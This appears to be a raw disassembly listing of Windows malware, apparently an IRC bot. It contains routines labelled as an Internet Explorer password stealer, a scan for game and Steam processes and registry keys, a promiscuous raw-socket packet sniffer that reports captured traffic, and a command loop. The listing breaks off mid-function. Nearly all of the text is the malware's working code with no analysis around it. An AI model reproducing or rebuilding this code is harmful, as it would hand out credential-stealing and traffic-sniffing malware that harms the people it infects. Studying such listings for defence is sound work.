; sub_4101E6+42Dj
lea eax, [ebp-84h]
push offset aE161255a ; "e161255a"
push eax
call dword_412110
test eax, eax
jnz loc_41087C
lea eax, [ebp-7BCh]
push offset aStringindex ; "StringIndex"
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jnz loc_41087C
mov esi, offset dword_4187F4
lea eax, [ebp-7BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_410763
lea eax, [ebp-7BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
mov [eax], bl
pop ecx
loc_410763: ; CODE XREF: sub_4101E6+56Aj
lea eax, [ebp-7BCh]
push 8
push eax
lea eax, [ebp-358h]
push eax
call dword_412108
lea eax, [ebp-358h]
push offset dword_4187EC
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4107EB
lea eax, [ebp-358h]
push offset dword_4187E4
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4107EB
inc dword ptr [ebp-10h]
push 3E8h
call dword_4120A4 ; Sleep
cmp [ebp-0F7h], bl
jnz loc_41087C
lea eax, [ebp-5BCh]
push eax
lea eax, [ebp-7BCh]
push eax
lea eax, [ebp-28Ch]
push dword ptr [ebp-10h]
push offset dword_41879C
push eax
call sub_4096CB
add esp, 14h
jmp loc_41087C
; ---------------------------------------------------------------------------
loc_4107EB: ; CODE XREF: sub_4101E6+5A8j
; sub_4101E6+5BFj
mov edi, dword_412104
lea eax, [ebp-358h]
push offset byte_4191D0
push eax
call edi
mov esi, offset dword_418854
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_410842
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-358h]
push eax
call edi
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
mov [eax], bl
pop ecx
loc_410842: ; CODE XREF: sub_4101E6+62Fj
inc dword ptr [ebp-10h]
push 3E8h
call dword_4120A4 ; Sleep
lea eax, [ebp-358h]
push eax
lea eax, [ebp-5BCh]
push eax
lea eax, [ebp-7BCh]
push eax
lea eax, [ebp-28Ch]
push dword ptr [ebp-10h]
push offset dword_418740
push eax
call sub_4096CB
add esp, 18h
loc_41087C: ; CODE XREF: sub_4101E6+533j
; sub_4101E6+54Ej ...
mov esi, 200h
lea eax, [ebp-7BCh]
push esi
push ebx
push eax
call sub_4114E8 ; memset
push esi
lea eax, [ebp-5BCh]
push ebx
push eax
call sub_4114E8 ; memset
add esp, 18h
jmp loc_4103AA
; ---------------------------------------------------------------------------
loc_4108A5: ; CODE XREF: sub_4101E6+1E5j
mov eax, [ebp-28h]
mov byte ptr [ebp-4], 2
cmp eax, ebx
jz loc_410346
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_410346
; ---------------------------------------------------------------------------
loc_4108BF: ; CODE XREF: sub_4101E6+181j
mov eax, [ebp-24h]
mov byte ptr [ebp-4], 1
cmp eax, ebx
jz loc_4102B6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_4102B6
; ---------------------------------------------------------------------------
loc_4108D9: ; CODE XREF: sub_4101E6+F1j
; sub_4101E6+100j
mov al, [ebp+0Bh]
push 3E8h
mov [ebp-0F4h], al
call dword_4120A4 ; Sleep
push dword ptr [ebp-10h]
mov eax, [ebp-290h]
push dword ptr [eax]
lea eax, [ebp-28Ch]
push offset unk_418704
push eax
call sub_4096CB
push dword ptr [ebp-290h]
call sub_406E6F
add esp, 14h
loc_410917: ; CODE XREF: sub_4101E6+9Dj
mov eax, [ebp-1Ch]
mov [ebp-4], bl
cmp eax, ebx
jz short loc_410927
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_410927: ; CODE XREF: sub_4101E6+57j
; sub_4101E6+739j
mov eax, [ebp-14h]
or dword ptr [ebp-4], 0FFFFFFFFh
cmp eax, ebx
jz short loc_410938
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_410938: ; CODE XREF: sub_4101E6+74Aj
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4101E6 endp
; =============== S U B R O U T I N E =======================================
sub_41094B proc near ; CODE XREF: sub_407A76+6Cp
arg_0 = dword ptr 4
cmp dword_419220, 0
push esi
jz short loc_41098A
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_41098A
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aInternetExplor ; "Internet explorer password stealer"
push 0
push esi
push offset sub_4101E6
call sub_406D58
add esp, 10h
loc_41098A: ; CODE XREF: sub_41094B+8j
; sub_41094B+19j
pop esi
retn
sub_41094B endp
; ---------------------------------------------------------------------------
loc_41098C: ; CODE XREF: .packed:00411963j
; .packed:0041196Bj ...
mov eax, [ecx]
test eax, eax
jz short locret_410998
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_410998: ; CODE XREF: .packed:00410990j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410999 proc near ; DATA XREF: sub_410B3B+29o
var_5BC = byte ptr -5BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5BCh
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1BC]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
xor esi, esi
add esp, 10h
mov [ebp+var_8], esi
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_14], esi
mov [ebp+arg_0], esi
xor ebx, ebx
loc_4109D7: ; CODE XREF: sub_410999+ACj
lea eax, [ebp+var_5BC]
push 400h
push eax
push ebx
call dword_4121F0
push 7
lea eax, [ebp+var_5BC]
push offset aUnreal3 ; "Unreal3"
push eax
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
push 1
pop edi
jnz short loc_410A0A
mov [ebp+var_C], edi
loc_410A0A: ; CODE XREF: sub_410999+6Cj
lea eax, [ebp+var_5BC]
push offset aWorldOfWarcraf ; "World Of Warcraft"
push eax
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410A24
mov [ebp+var_14], edi
loc_410A24: ; CODE XREF: sub_410999+86j
lea eax, [ebp+var_5BC]
push offset aConquer ; "[Conquer]"
push eax
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410A3E
mov [ebp+arg_0], edi
loc_410A3E: ; CODE XREF: sub_410999+A0j
inc ebx
cmp ebx, 0FFFFh
jb short loc_4109D7
mov edi, dword_412000
lea eax, [ebp+var_4]
mov ebx, 20019h
push eax
push ebx
push esi
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
push 80000002h
mov [ebp+var_4], esi
call edi
test eax, eax
jnz short loc_410A72
mov [ebp+var_8], 1
loc_410A72: ; CODE XREF: sub_410999+D0j
push [ebp+var_4]
mov esi, dword_412028
call esi
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push ebx
push 0
push offset aSoftwareValveS ; "Software\\Valve\\Steam"
push 80000001h
call edi
test eax, eax
jnz short loc_410A9F
mov [ebp+var_10], 1
loc_410A9F: ; CODE XREF: sub_410999+FDj
push [ebp+var_4]
call esi
cmp [ebp+var_20], 0
mov eax, offset aNo ; "No"
mov ecx, offset aYes ; "Yes"
jz short loc_410ADD
xor edx, edx
cmp [ebp+var_C], edx
jnz short loc_410ADF
cmp [ebp+var_8], edx
jnz short loc_410ADF
cmp [ebp+var_10], edx
jnz short loc_410ADF
cmp [ebp+var_14], edx
jnz short loc_410ADF
cmp [ebp+arg_0], edx
jnz short loc_410AE4
push [ebp+var_1BC]
call sub_406E6F
pop ecx
jmp short loc_410B32
; ---------------------------------------------------------------------------
loc_410ADD: ; CODE XREF: sub_410999+119j
xor edx, edx
loc_410ADF: ; CODE XREF: sub_410999+120j
; sub_410999+125j ...
cmp [ebp+arg_0], edx
jz short loc_410AE8
loc_410AE4: ; CODE XREF: sub_410999+134j
mov ebx, ecx
jmp short loc_410AEA
; ---------------------------------------------------------------------------
loc_410AE8: ; CODE XREF: sub_410999+149j
mov ebx, eax
loc_410AEA: ; CODE XREF: sub_410999+14Dj
cmp [ebp+var_14], edx
mov edi, ecx
jnz short loc_410AF3
mov edi, eax
loc_410AF3: ; CODE XREF: sub_410999+156j
cmp [ebp+var_10], edx
mov esi, ecx
jnz short loc_410AFC
mov esi, eax
loc_410AFC: ; CODE XREF: sub_410999+15Fj
cmp [ebp+var_8], 0
mov edx, ecx
jnz short loc_410B06
mov edx, eax
loc_410B06: ; CODE XREF: sub_410999+169j
cmp [ebp+var_C], 0
jz short loc_410B0E
mov eax, ecx
loc_410B0E: ; CODE XREF: sub_410999+171j
push ebx
push edi
push esi
push edx
push eax
lea eax, [ebp+var_1B8]
push offset dword_418984
push eax
call sub_4096CB
push [ebp+var_1BC]
call sub_406E6F
add esp, 20h
loc_410B32: ; CODE XREF: sub_410999+142j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_410999 endp
; =============== S U B R O U T I N E =======================================
sub_410B3B proc near ; CODE XREF: sub_407A76+B84p
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_410B71
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aListingInteres ; "Listing interesting processes"
push 0
push esi
push offset sub_410999
call sub_406D58
add esp, 10h
loc_410B71: ; CODE XREF: sub_410B3B+10j
pop esi
retn
sub_410B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B73 proc near ; CODE XREF: sub_410BC3+32p
; sub_410BC3+4Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
cmp dword ptr [eax], 0
jz short loc_410BB9
mov esi, eax
loc_410B81: ; CODE XREF: sub_410B73+44j
push dword ptr [eax]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_405A0D
add esp, 0Ch
test eax, eax
jz short loc_410BAF
mov eax, [esi+4]
test eax, eax
jz short loc_410BBE
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_405A0D
add esp, 0Ch
test eax, eax
jz short loc_410BBE
loc_410BAF: ; CODE XREF: sub_410B73+20j
add esi, 8
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_410B81
loc_410BB9: ; CODE XREF: sub_410B73+Aj
xor eax, eax
loc_410BBB: ; CODE XREF: sub_410B73+4Ej
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_410BBE: ; CODE XREF: sub_410B73+27j
; sub_410B73+3Aj
push 1
pop eax
jmp short loc_410BBB
sub_410B73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BC3 proc near ; CODE XREF: sub_410C55+29Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, [ebp+arg_0]
jz short loc_410BE6
push [ebp+arg_C]
push esi
push edi
call sub_405A0D
add esp, 0Ch
test eax, eax
jnz short loc_410C49
loc_410BE6: ; CODE XREF: sub_410BC3+10j
mov ebx, [ebp+arg_8]
cmp ebx, 1
jb short loc_410C01
push esi
push edi
push offset off_418AB4
call sub_410B73
add esp, 0Ch
test eax, eax
jnz short loc_410C49
loc_410C01: ; CODE XREF: sub_410BC3+29j
cmp ebx, 2
jb short loc_410C19
push esi
push edi
push offset off_418B10
call sub_410B73
add esp, 0Ch
test eax, eax
jnz short loc_410C49
loc_410C19: ; CODE XREF: sub_410BC3+41j
cmp ebx, 3
jb short loc_410C31
push esi
push edi
push offset off_418B84
call sub_410B73
add esp, 0Ch
test eax, eax
jnz short loc_410C49
loc_410C31: ; CODE XREF: sub_410BC3+59j
cmp ebx, 4
jb short loc_410C4E
push esi
push edi
push offset off_418BC8
call sub_410B73
add esp, 0Ch
test eax, eax
jz short loc_410C4E
loc_410C49: ; CODE XREF: sub_410BC3+21j
; sub_410BC3+3Cj ...
push 1
pop eax
jmp short loc_410C50
; ---------------------------------------------------------------------------
loc_410C4E: ; CODE XREF: sub_410BC3+71j
; sub_410BC3+84j
xor eax, eax
loc_410C50: ; CODE XREF: sub_410BC3+89j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410BC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C55 proc near ; DATA XREF: sub_4110B4+76o
var_199C = byte ptr -199Ch
var_1993 = byte ptr -1993h
var_1990 = dword ptr -1990h
var_198C = dword ptr -198Ch
var_970 = byte ptr -970h
var_870 = byte ptr -870h
var_770 = byte ptr -770h
var_670 = byte ptr -670h
var_4F0 = byte ptr -4F0h
var_4EF = byte ptr -4EFh
var_3F0 = dword ptr -3F0h
var_3EC = dword ptr -3ECh
var_3E8 = byte ptr -3E8h
var_1E8 = byte ptr -1E8h
var_5A = byte ptr -5Ah
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_44 = byte ptr -44h
var_40 = word ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 199Ch
call sub_411540
push ebx
push esi
push edi
push 3ABh
push [ebp+arg_0]
lea eax, [ebp+var_3F0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
mov al, [ebp+var_3E8]
add esp, 10h
neg al
sbb eax, eax
xor ebx, ebx
lea ecx, [ebp+var_3E8]
push ebx
and eax, ecx
push 3
push 2
mov [ebp+var_24], eax
call dword_41222C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_C], esi
jz loc_41109F
lea eax, [ebp+var_970]
push 0FFh
push eax
call dword_412270 ; gethostname
lea eax, [ebp+var_970]
push eax
call dword_41224C ; gethostbyname
mov edi, eax
cmp edi, ebx
jz loc_411098
push 10h
lea eax, [ebp+var_40]
push ebx
push eax
call sub_4114E8 ; memset
mov [ebp+var_40], 2
mov eax, [edi+0Ch]
add esp, 0Ch
mov eax, [eax]
push 10h
mov eax, [eax]
mov [ebp+var_3C], eax
lea eax, [ebp+var_40]
push eax
push esi
call dword_41221C ; bind
cmp eax, 0FFFFFFFFh
jz loc_411098
push ebx
lea eax, [ebp+var_44]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_28]
push 4
push eax
push 98000001h
push esi
mov [ebp+var_28], 1
call dword_41226C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jz loc_411098
push [ebp+var_3EC]
mov eax, [ebp+var_3F0]
push dword ptr [eax]
lea eax, [ebp+var_1E8]
push offset unk_418D94
push eax
call sub_4096CB
add esp, 10h
xor eax, eax
lea edi, [ebp+var_4EF]
mov [ebp+var_4F0], bl
push 3Fh
mov [ebp+var_14], bl
pop ecx
mov [ebp+var_50], bl
rep stosd
stosw
stosb
xor eax, eax
lea edi, [ebp+var_13]
stosd
stosb
lea eax, [ebp+var_4F0]
push eax
call sub_4091A7
push eax
call sub_4034DE
pop ecx
lea eax, [ebp+var_14]
pop ecx
push eax
call sub_4091A7
push eax
call sub_40357F
pop ecx
lea eax, [ebp+var_4F0]
pop ecx
push eax
call dword_412254 ; inet_addr
mov [ebp+var_20], eax
lea eax, [ebp+var_14]
push eax
call sub_41151C ; atoi
mov [ebp+var_30], eax
xor eax, eax
lea edi, [ebp+var_1B]
mov [ebp+var_1C], bl
stosd
stosb
pop ecx
lea eax, [ebp+var_1C]
push eax
call sub_4091A7
push eax
call sub_403530
mov eax, [ebp+var_3C]
mov [ebp+var_8], eax
lea eax, [ebp+var_1C]
push eax
call sub_41151C ; atoi
add esp, 0Ch
mov [ebp+var_2C], eax
loc_410DF1: ; CODE XREF: sub_410C55+1F3j
; sub_410C55+43Bj
push ebx
lea eax, [ebp+var_199C]
push 1028h
push eax
push esi
call dword_412258 ; recv
mov ecx, [ebp+var_3F0]
cmp [ecx+4], ebx
jnz loc_411098
cmp eax, 0FFFFFFFFh
jz loc_411098
cmp eax, ebx
jz loc_411098
mov [ebp+eax+var_199C], bl
mov cl, [ebp+var_199C]
and ecx, 0Fh
lea edx, [ebp+var_199C]
lea edi, [ebp+ecx*4+var_199C]
mov ecx, edi
sub ecx, edx
cmp ecx, eax
jnb short loc_410DF1
movzx ecx, byte ptr [edi+0Ch]
shr ecx, 4
lea edx, [ebp+var_199C]
lea esi, [edi+ecx*4]
mov ecx, esi
sub ecx, edx
cmp ecx, eax
jnb loc_41108D
push esi
call sub_4114BE ; strlen
cmp [ebp+var_1993], 6
pop ecx
mov [ebp+arg_0], eax
jnz loc_41108D
cmp [ebp+var_5A], bl
jz short loc_410E91
mov eax, [ebp+var_8]
cmp [ebp+var_198C], eax
jnz loc_41108D
loc_410E91: ; CODE XREF: sub_410C55+22Bj
cmp [ebp+var_54], bl
jz short loc_410EA5
mov eax, [ebp+var_8]
cmp [ebp+var_1990], eax
jnz loc_41108D
loc_410EA5: ; CODE XREF: sub_410C55+23Fj
mov ax, [edi]
push eax
call dword_412248 ; htons
cmp ax, word ptr [ebp+var_2C]
jnz short loc_410EC4
mov eax, [ebp+var_8]
cmp [ebp+var_1990], eax
jz loc_41108D
loc_410EC4: ; CODE XREF: sub_410C55+25Ej
mov ax, [edi]
push eax
call dword_412248 ; htons
cmp ax, word ptr [ebp+var_30]
jnz short loc_410EE3
mov eax, [ebp+var_20]
cmp [ebp+var_1990], eax
jz loc_41108D
loc_410EE3: ; CODE XREF: sub_410C55+27Dj
push [ebp+var_24]
push [ebp+var_3EC]
push [ebp+arg_0]
push esi
call sub_410BC3
add esp, 10h
test eax, eax
jz loc_41108D
xor ecx, ecx
cmp [ebp+arg_0], ebx
jbe short loc_410F28
loc_410F07: ; CODE XREF: sub_410C55+2D1j
cmp byte ptr [ecx+esi], 0Dh
lea eax, [ecx+esi]
jnz short loc_410F13
mov byte ptr [eax], 2Dh
loc_410F13: ; CODE XREF: sub_410C55+2B9j
cmp byte ptr [eax], 0Ah
jnz short loc_410F1B
mov byte ptr [eax], 3Eh
loc_410F1B: ; CODE XREF: sub_410C55+2C1j
cmp [eax], bl
jnz short loc_410F22
mov byte ptr [eax], 2Eh
loc_410F22: ; CODE XREF: sub_410C55+2C8j
inc ecx
cmp ecx, [ebp+arg_0]
jb short loc_410F07
loc_410F28: ; CODE XREF: sub_410C55+2B0j
xor eax, eax
xor ecx, ecx
cmp [esi], bl
mov [ebp+arg_0], ecx
jz short loc_410F4D
loc_410F33: ; CODE XREF: sub_410C55+2F3j
mov dl, [eax+esi]
cmp dl, 7Fh
jge short loc_410F44
cmp dl, 1Fh
jle short loc_410F44
mov [ecx+esi], dl
inc ecx
loc_410F44: ; CODE XREF: sub_410C55+2E4j
; sub_410C55+2E9j
inc eax
cmp [eax+esi], bl
jnz short loc_410F33
mov [ebp+arg_0], ecx
loc_410F4D: ; CODE XREF: sub_410C55+2DCj
mov al, [eax+esi]
cmp ecx, ebx
mov [ecx+esi], al
jz loc_41108D
push 100h
push [ebp+var_1990]
call dword_412230 ; inet_ntoa
push eax
lea eax, [ebp+var_870]
push eax
call sub_4059C2
add esp, 0Ch
push 100h
push [ebp+var_198C]
call dword_412230 ; inet_ntoa
push eax
lea eax, [ebp+var_770]
push eax
call sub_4059C2
mov ax, [edi+2]
add esp, 0Ch
push eax
call dword_412248 ; htons
movzx eax, ax
push eax
lea eax, [ebp+var_770]
push eax
mov ax, [edi]
push eax
call dword_412248 ; htons
movzx eax, ax
push eax
lea eax, [ebp+var_870]
push eax
lea eax, [ebp+var_670]
push offset dword_418D60
push eax
call sub_4114DC ; sprintf
mov edi, eax
mov eax, 180h
sub eax, edi
push eax
lea eax, [ebp+edi+var_670]
push esi
push eax
call sub_4059C2
add esp, 24h
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_1E8]
push offset dword_413B6C
push eax
call sub_4096CB
add esp, 0Ch
push 3E8h
call dword_4120A4 ; Sleep
mov eax, [ebp+var_3F0]
cmp [eax+4], ebx
jnz short loc_411095
mov eax, 17Fh
sub eax, edi
mov edi, [ebp+arg_0]
cmp eax, edi
mov [ebp+var_4], eax
jnb short loc_41108D
add esi, eax
loc_411038: ; CODE XREF: sub_410C55+436j
push 180h
lea eax, [ebp+var_670]
push esi
push eax
call sub_4059C2
add esp, 0Ch
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_1E8]
push offset dword_413B6C
push eax
call sub_4096CB
add esp, 0Ch
push 3E8h
call dword_4120A4 ; Sleep
mov eax, [ebp+var_3F0]
cmp [eax+4], ebx
jnz short loc_411095
mov eax, 17Fh
add [ebp+var_4], eax
add esi, eax
cmp [ebp+var_4], edi
jb short loc_411038
loc_41108D: ; CODE XREF: sub_410C55+20Bj
; sub_410C55+222j ...
mov esi, [ebp+var_C]
jmp loc_410DF1
; ---------------------------------------------------------------------------
loc_411095: ; CODE XREF: sub_410C55+3CEj
; sub_410C55+427j
mov esi, [ebp+var_C]
loc_411098: ; CODE XREF: sub_410C55+82j
; sub_410C55+B7j ...
push esi
call dword_412240 ; closesocket
loc_41109F: ; CODE XREF: sub_410C55+59j
push [ebp+var_3F0]
call sub_406E6F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_410C55 endp
; =============== S U B R O U T I N E =======================================
sub_4110B4 proc near ; CODE XREF: sub_407A76+643p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 3ABh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_411138
cmp [esp+4+arg_4], 0
jz short loc_4110D9
push [esp+4+arg_4]
call sub_41151C ; atoi
pop ecx
jmp short loc_4110DC
; ---------------------------------------------------------------------------
loc_4110D9: ; CODE XREF: sub_4110B4+17j
push 3
pop eax
loc_4110DC: ; CODE XREF: sub_4110B4+23j
mov [esi+4], eax
mov eax, [esp+4+arg_8]
test eax, eax
jnz short loc_4110EC
mov eax, offset byte_4191D0
loc_4110EC: ; CODE XREF: sub_4110B4+31j
push edi
push 200h
push eax
lea eax, [esi+8]
push eax
call sub_4059C2
mov edi, [esp+14h+arg_0]
push 1A3h
lea eax, [esi+208h]
push edi
push eax
call sub_4114D0 ; memcpy
xor eax, eax
add esp, 18h
cmp [edi+18Bh], al
push dword ptr [esi+4]
setz al
push offset dword_418DC8
push eax
push esi
push offset sub_410C55
call sub_406D58
add esp, 14h
pop edi
loc_411138: ; CODE XREF: sub_4110B4+10j
pop esi
retn
sub_4110B4 endp
; =============== S U B R O U T I N E =======================================
sub_41113A proc near ; CODE XREF: sub_4111BA+4p
arg_0 = dword ptr 4
push offset aRb ; "rb"
push [esp+4+arg_0]
call sub_411506 ; fopen
pop ecx
test eax, eax
pop ecx
jz short loc_411159
push eax
call sub_411500 ; fclose
pop ecx
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_411159: ; CODE XREF: sub_41113A+12j
xor eax, eax
retn
sub_41113A endp
; =============== S U B R O U T I N E =======================================
sub_41115C proc near ; CODE XREF: sub_407A76+763p
arg_0 = dword ptr 4
push esi
push offset aRb ; "rb"
push [esp+8+arg_0]
call sub_411506 ; fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4111A5
push edi
push 2
push 0
push esi
call sub_411516 ; fseek
push esi
call sub_4114F4 ; ftell
push 0
push 0
push esi
mov edi, eax
call sub_411516 ; fseek
push esi
call sub_411500 ; fclose
mov eax, edi
add esp, 20h
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4111A5: ; CODE XREF: sub_41115C+15j
xor eax, eax
pop esi
retn
sub_41115C endp
; =============== S U B R O U T I N E =======================================
sub_4111A9 proc near ; CODE XREF: sub_4111BA+12p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4120B8 ; DeleteFileA
neg eax
sbb eax, eax
neg eax
retn
sub_4111A9 endp
; =============== S U B R O U T I N E =======================================
sub_4111BA proc near ; CODE XREF: sub_402018+11Fp
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41113A
test eax, eax
pop ecx
jz short loc_4111D8
push [esp+arg_0]
call sub_4111A9
neg eax
sbb eax, eax
pop ecx
inc eax
retn
; ---------------------------------------------------------------------------
loc_4111D8: ; CODE XREF: sub_4111BA+Cj
xor eax, eax
retn
sub_4111BA endp
; =============== S U B R O U T I N E =======================================
sub_4111DB proc near ; CODE XREF: sub_407A76+5A6p
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push dword ptr [eax]
call sub_40A64A
pop ecx
retn
sub_4111DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4111E8 proc near ; CODE XREF: start+118j
; DATA XREF: start+113o
var_12F4 = dword ptr -12F4h
var_12F0 = dword ptr -12F0h
var_12EC = byte ptr -12ECh
var_115C = byte ptr -115Ch
var_1128 = dword ptr -1128h
var_1121 = byte ptr -1121h
var_1120 = byte ptr -1120h
var_101C = dword ptr -101Ch
var_1018 = byte ptr -1018h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4122A8
push offset sub_41175A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 12DCh
call sub_411540
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call dword_4120FC
xor edi, edi
mov [ebp+var_4], edi
push dword_418E0C
push dword_418E08
push 3AEh
push dword_418E04
push edi
push dword_418E00
push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
lea eax, [ebp+var_115C]
push eax
call sub_4114DC ; sprintf
add esp, 20h
mov [ebp+var_1128], edi
loc_41125C: ; CODE XREF: sub_4111E8+287j
cmp [ebp+var_1128], 0Ah
jnz short loc_41126A
call sub_4052DF
loc_41126A: ; CODE XREF: sub_4111E8+7Bj
push 3E8h
call dword_4120A4 ; Sleep
lea eax, [ebp+var_115C]
push eax
push edi
push edi
call dword_412100
mov [ebp+var_12F0], eax
cmp eax, edi
jz loc_411469
call dword_41206C ; RtlGetLastWin32Error
test eax, eax
jnz loc_411469
call sub_402D7B
call sub_4045B7
call sub_406B98
call sub_40EAC4
call sub_40B31E
call sub_40A42C
push 10h
mov esi, offset dword_418E00
push esi
call sub_40B55F
push 10h
push esi
call sub_40A606
push 10h
push esi
call sub_40A67C
add esp, 18h
call sub_40B480
mov dword_419FD0, eax
call sub_40B480
mov dword_419FD4, eax
call sub_40B480
mov dword_419FD8, eax
call sub_40B480
mov dword_419FDC, eax
push 104h
lea eax, [ebp+var_1120]
push eax
push edi
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
test eax, eax
jnz short loc_411337
loc_411324: ; CODE XREF: sub_4111E8+164j
push offset byte_4191D0
push offset dword_419ECC
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
jmp short loc_41137D
; ---------------------------------------------------------------------------
loc_411337: ; CODE XREF: sub_4111E8+13Aj
lea eax, [ebp+var_1120]
push eax
call sub_4114BE ; strlen
pop ecx
loc_411344: ; CODE XREF: sub_4111E8+27Cj
mov [ebp+var_12F4], eax
cmp eax, edi
jz short loc_411324
cmp [ebp+eax+var_1121], 5Ch
jnz loc_411463
lea eax, [ebp+eax+var_1120]
push eax
mov esi, offset dword_419ECC
push esi
call sub_4114B8 ; _mbscpy
push esi
push offset dword_419FE0
call sub_4114B8 ; _mbscpy
add esp, 10h
loc_41137D: ; CODE XREF: sub_4111E8+14Dj
call sub_4050D1
lea eax, [ebp+var_12EC]
push eax
push 202h
call dword_412274 ; WSAStartup
loc_411394: ; CODE XREF: sub_4111E8+253j
push edi
push edi
push edi
call sub_409522
add esp, 0Ch
call sub_406A40
mov [ebp-1124h], edi
mov [ebp+var_101C], edi
loc_4113B0: ; CODE XREF: sub_4111E8+276j
mov [ebp+var_4], 1
loc_4113B7: ; CODE XREF: sub_4111E8+209j
; sub_4111E8+211j
push 0EA60h
call sub_4091A7
push eax
call sub_403E1F
pop ecx
pop ecx
test eax, eax
jnz short loc_4113FB
cmp [ebp+var_101C], 19h
jz short loc_411438
cmp [ebp+var_101C], 14h
jnz short loc_4113F3
call sub_40B480
push eax
push offset aPing08x ; "PING :%08X"
call sub_4097DB
pop ecx
loc_4113F0: ; CODE XREF: sub_4111E8+24Ej
pop ecx
jmp short loc_4113B7
; ---------------------------------------------------------------------------
loc_4113F3: ; CODE XREF: sub_4111E8+1F5j
inc [ebp+var_101C]
jmp short loc_4113B7
; ---------------------------------------------------------------------------
loc_4113FB: ; CODE XREF: sub_4111E8+1E3j
push 1000h
lea eax, [ebp+var_1018]
